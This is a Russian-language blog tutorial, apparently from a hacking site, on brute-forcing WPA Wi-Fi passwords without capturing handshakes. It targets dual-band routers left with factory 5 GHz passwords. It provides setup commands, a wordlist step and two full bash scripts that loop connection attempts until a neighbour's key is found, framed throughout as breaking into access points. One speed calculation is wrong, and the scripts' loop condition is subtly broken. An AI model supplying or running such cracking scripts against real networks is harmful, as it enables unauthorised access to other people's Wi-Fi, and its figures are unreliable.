Брут-форс ключей для ненастроенных сетей на 5 ГГц

При анализе больших объёмов раскрытых ключей для беспроводных точек доступа (в том числе с программой Router Scan by Stas'M), было сделано одно интересное наблюдение: многие владельцы двухдиапазонных ТД не догадываются о существовании второго диапазона на 5 ГГц. В зависимости от модели роутера, второй диапазон на 5 ГГц может быть включён или отключён по умолчанию. Если он включён по умолчанию, то диапазон на 5 ГГц имеет свой собственный дефолтный пароль. Эти пароли построены по одному принципу, который зависит от модели роутера. Например, для всех роутеров одной модели могут быть восемь заглавных букв.

Возможно ли брутфорсить подключение Wi-Fi?

Да, можно не захватывать рукопожатия, а просто подбирать пароли к беспроводной точке доступа. Причём, сделать это намного проще — даже не нужны никакие специальные программы. Но это никто и никогда не использует, поскольку невероятно низкая скорость. Максимально скорость, при тестировании одной сетевой картой, достигает 15×60×24=21600 кандидатов паролей в сутки. При этом при взломе рукопожатия скорость на средней мобильной графической карте достигает 40 тысяч кандидатов паролей в секунду (!). При такой скорости за сутки можно перебрать 40000×60×60×24=2160021600 (это два миллиарда с хвостиком) кандидатов паролей. На сколько порядков различаются эти цифры мне считать уже лень.

Ну и тем не менее, запасной вариант никогда не будет лишним. Преимуществом подбора пароля напрямую, без захвата рукопожатия, является то, что возможен взлом точки доступа Wi-Fi даже если к ней никогда не подключаются клиенты.

Брутфорсить можно не только двухдиапазонный ТД с 5 ГГц. Брутфорсить можно любую точку доступа. Но если у ТД включён диапазон 5 ГГц с дефолтный названием сети, то почти наверняка там и заводской пароль. Эти пароли могут быть на каждом роутере разные, но алгоритм их генерирования для одной модели всегда один. Это отдельная задача — узнать модель роутера и собрать образцы паролей для неё, чтобы сгенерировать словарь с кандидатами в пароли. Для каждой модели роутера её нужно решать индивидуально, поэтому останавливаться на этом мы не будем. Перейдём непосредственно к механизму брутфорсинга.

Подключение к сети Wi-Fi из командной строки

Алгоритм брутфорсинга подключения Wi-Fi без захвата рукопожатий чрезвычайно прост:

  • пытаемся подключиться с кандидатом в пароли
  • проверяем, произошло ли подключение
  • если подключения нет, то переходим к первому пункту с новым кандидатом в пароли

Самое главное уметь подключаться к Wi-Fi из командной строки. Давайте рассмотрим, как это делается. Нам нужен пакет wpa_supplicant.

В Kali Linux (а также Debian, Mint, Ubuntu) он ставится так:

sudo apt-get install wpasupplicant

А в BlackArch так:

sudo pacman -S wpa_supplicant --needed

У нас ничего не получиться, если мы не остановим (выгрузим / отключим) службу NetworkManager. В Kali Linux это делается так:

sudo service NetworkManager stop

А в BlackArch так:

sudo systemctl stop NetworkManager

Примечание, после отключения NetworkManager пропадёт Интернет!

Нам нужно сформировать конфигурационный файл. Делается это командой:

wpa_passphrase название_ТД пароль > конфигурационный_файл

К примеру, для ТД Kitty пароль 0805646143 и конфигурационный файл я хочу назвать wpa_Kitty.conf, тогда команда имеет следующий вид:

wpa_passphrase Kitty 0805646143 > wpa_Kitty.conf

Должен создаться файл с примерно таким содержимым:

network={
	ssid="Kitty"
	#psk="0805646143"
	psk=2786b307599a29176f02e9c0d438ef5f7d0964fc14e34d9ca9808668190ccb88
}  

007

Теперь нам нужно узнать имя беспроводного сетевого интерфейса. Это делается командой:

iw dev

В моём случае это wlp2s0:

006

У вас может быть другое. Поэтому во всех последующих командах заменяйте wlp2s0 на имя вашего беспроводного сетевого интерфейса.

Подключение к Wi-Fi из командной строки делается так:

sudo wpa_supplicant -B -i wlp2s0 -c wpa_Kitty.conf

Здесь -B означает перевести процесс в фон. После ключа -i wlp2s0 указывается имя беспроводного интерфейса. А после ключа -c wpa_Kitty.conf указывается конфигурационный файл.

Если что-то идёт не так, то эту же команду запускайте без ключа -B, чтобы посмотреть подробный её вывод.

Чтобы заработал Интернет, нужно выполнить ещё эту команду:

sudo dhclient wlp2s0

Но ещё до неё можно проверить, есть ли «коннект» командой:

iw dev wlp2s0 link

008

Если подключение произошло, то вывод будет как на скриншоте выше, т. е.

[mial@HackWare ~]$ iw dev wlp2s0 link
Connected to 40:3d:ec:14:c8:68 (on wlp2s0)
	SSID: Kitty
	freq: 2412
	RX: 76811 bytes (605 packets)
	TX: 1252 bytes (13 packets)
	signal: -71 dBm
	tx bitrate: 6.0 MBit/s

	bss flags:	short-slot-time
	dtim period:	1
	beacon int:	100

Если подключения нет, то вывод будет намного лаконичнее:

Not connected.

Брутфорс Wi-Fi без захвата рукопожатий

Переходим, собственно, к брутфорсу.

Давайте попробуем подключиться с заведомо неверным паролем:

[mial@HackWare ~]$ sudo wpa_supplicant -i wlp2s0 -c wpa_Kitty.conf
Successfully initialized wpa_supplicant
wlp2s0: SME: Trying to authenticate with 40:3d:ec:14:c8:68 (SSID='Kitty' freq=2412 MHz)
wlp2s0: Trying to associate with 40:3d:ec:14:c8:68 (SSID='Kitty' freq=2412 MHz)
wlp2s0: Associated with 40:3d:ec:14:c8:68
wlp2s0: CTRL-EVENT-DISCONNECTED bssid=40:3d:ec:14:c8:68 reason=15
wlp2s0: WPA: 4-Way Handshake failed - pre-shared key may be incorrect
wlp2s0: CTRL-EVENT-SSID-TEMP-DISABLED id=0 ssid="Kitty" auth_failures=1 duration=10 reason=WRONG_KEY

Отлично, если пароль неверный, то в выводе присутствует строка WRONG_KEY. Отфильтруем вывод:

sudo wpa_supplicant -i wlp2s0 -c wpa_Kitty.conf | grep 'WRONG_KEY'

Давайте создадим тестовый словарик:

maskprocessor pass?d?d?d?d > dict.txt

И куда-нибудь в нём вставим правильный пароль.

Теперь набросаем скриптик для автоматизации процесса (сохраните его в файл brut_wpa.sh):

#!/bin/bash

FILE='dict.txt';
AP='Kitty';
Interface='wlp2s0';

while read -r line 
echo 'Тестируем пароль: '$line          
do
	wpa_passphrase $AP $line > wpa_$AP.conf
	t=`timeout 4 sudo wpa_supplicant -i $Interface -c wpa_$AP.conf | grep 'WRONG_KEY'`
	if [ -z "$t" ]
	then
		echo 'Пароль подобран. Это: '$line
		exit
	fi	
done <$FILE

Запускать так:

sudo sh brut_wpa.sh

Правильный пароль я разместил почти в самое начало, поэтому результат получил быстро:

009

Давайте рассмотрим скрипт поподробнее. Здесь в строках

FILE='dict.txt';
AP='Kitty';
Interface='wlp2s0';

Указываются, соответственно, файл словаря, название ТД и имя беспроводного интерфейса.

Используется сброс по таймауту timeout 4. Если уменьшать эту величину, то увеличивается вероятность ложных срабатываний. Если увеличивать, то уменьшается скорость перебора.

Кстати, ещё можно анализировать результаты не по ошибкам подключения, а искать удачные подключения:

sudo wpa_supplicant -i $Interface -c wpa_$AP.conf | grep 'completed'`

Тогда скрипт приобретает вид:

#!/bin/bash

FILE='dict.txt';
AP='Kitty';
Interface='wlp2s0';

while read -r line 
echo 'Тестируем пароль: '$line          
do
	wpa_passphrase $AP $line > wpa_$AP.conf
	t=`timeout 4 sudo wpa_supplicant -i $Interface -c wpa_$AP.conf | grep 'completed'`
	if [ "$t" ]
	then
		echo 'Пароль подобран. Это: '$line
		exit
	fi	
done <$FILE

Скрипт хорошо работает:

004

Скорость аналогичная, но из-за проблем у ТД можно пропустить валидный пароль. С первым скриптом валидный пароль пропустить нельзя — но возможно ложное срабатывание на невалидный пароль.

Величину таймаута рекомендуется тестировать — вполне возможно, что для ТД, которую вы брутфорсите, оптимальной величиной будет не 4 секунды, а какое-то другое число.

Заключение

Описанная здесь альтернатива, несмотря на свои негативные характеристики (низкая скорость и необходимость всегда быть рядом со взламываемой ТД), имеет уникальное преимущество — возможен взлом без наличия клиентов у ТД, А при определённых обстоятельствах, когда удастся значительно сузить количество кандидатов в пароли, она может привести к успеху. Отдельно необходимо тестировать возможно ли увеличение скорости взлома при задействовании нескольких беспроводных сетевых интерфейсов.

Ещё одно интересное преимущество по сравнению с «традиционными» методами взлома — не требуется особенная Wi-Fi карта. Нам не нужен режим монитора и возможность делать инъекции. От нашей Wi-Fi карты требуется только одно — возможность подключаться к беспроводным точкам доступа, а это умеет делать абсолютно любая из них.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *